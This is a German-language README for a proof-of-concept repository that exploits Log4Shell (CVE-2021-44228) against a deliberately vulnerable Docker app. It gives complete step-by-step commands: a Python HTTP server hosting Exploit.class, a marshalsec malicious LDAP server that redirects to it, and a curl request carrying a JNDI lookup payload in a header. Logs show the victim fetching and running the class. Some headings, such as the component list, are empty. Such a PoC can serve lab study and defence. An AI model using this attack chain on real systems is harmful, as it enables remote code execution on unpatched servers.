
PoC für CVE-2021-44228.
Der Zweck dieses Repositorys ist es, alle Komponenten bereitzustellen, die zum Ausnutzen von CVE-2021-44228, auch Log4Shell genannt, benötigt werden,
und zu zeigen, wie man sie ausnutzt.
Die Komponenten, die zum Ausnutzen dieser Schwachstelle benötigt werden, sind folgende:
Danksagungen:
Voraussetzungen:
LDAP Server und HTTP Server ausführenHTTP Server1. Wechsle in den Ordner exploit und starte den HTTP-Server mithilfe von Python.
python3 -m http.server PORT
LDAP Server1. Wechsle in den Ordner ldap_server und baue die pom.xml.
mvn clean package -DskipTests
2. Wechsle in den Ordner target und starte den Server, wobei du http_server_ip und http_server_port angibst.
java -cp ldap_server-1.0-all.jar marshalsec.jndi.LDAPRefServer "http://http_server_ip:http_server_port/#Exploit"
Hinweis: Dieser Befehl startet den bösartigen LDAP-Server und zwingt ihn, auf jede LDAP-Abfrage mit der Exploit.class-URI zu antworten.
Vulnerable application ausführenFühre den Docker-Container der verwundbaren Anwendung aus.
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
Hinweis: Standardmäßig führen wir die verwundbare Anwendung auf Port 8080 aus; du kannst das gerne ändern.
Sobald die vulnerable_application, der ldap_server und der http_server
laufen, sende eine schädliche HTTP-Anfrage an den verwundbaren Server.
curl VULNERABLE_APPLICATION_IP:8080 -H 'X-Api-Version: ${jndi:ldap://ldap_server_ip:1389/a}'
Die vulnerable_application protokolliert die Nutzlast und führt eine LDAP-Abfrage aus.
2021-12-24 18:48:14.644 INFO 1 --- [nio-8080-exec-1] HelloWorld: Received a request for API version ${jndi:ldap://10.0.2.15:1389/a}
Der ldap_server antwortet mit der Exploit.class-URI.
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.0.2.15:8443/Exploit.class
Der http_server empfängt eine Anfrage für die Exploit.class.
Serving HTTP on 0.0.0.0 port 8443 (http://0.0.0.0:8443/) ...
172.17.0.2 - - [24/Dec/2021 19:48:14] "GET /Exploit.class HTTP/1.1" 200 -
Schließlich können wir überprüfen, dass der Exploit eine neue Datei im Dateisystem des Opfers erstellt hat. In diesem Beispiel müssen wir das Dateisystem des Docker-Containers überprüfen.

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://github.com/mbechler/marshalsec
https://github.com/christophetd/log4shell-vulnerable-app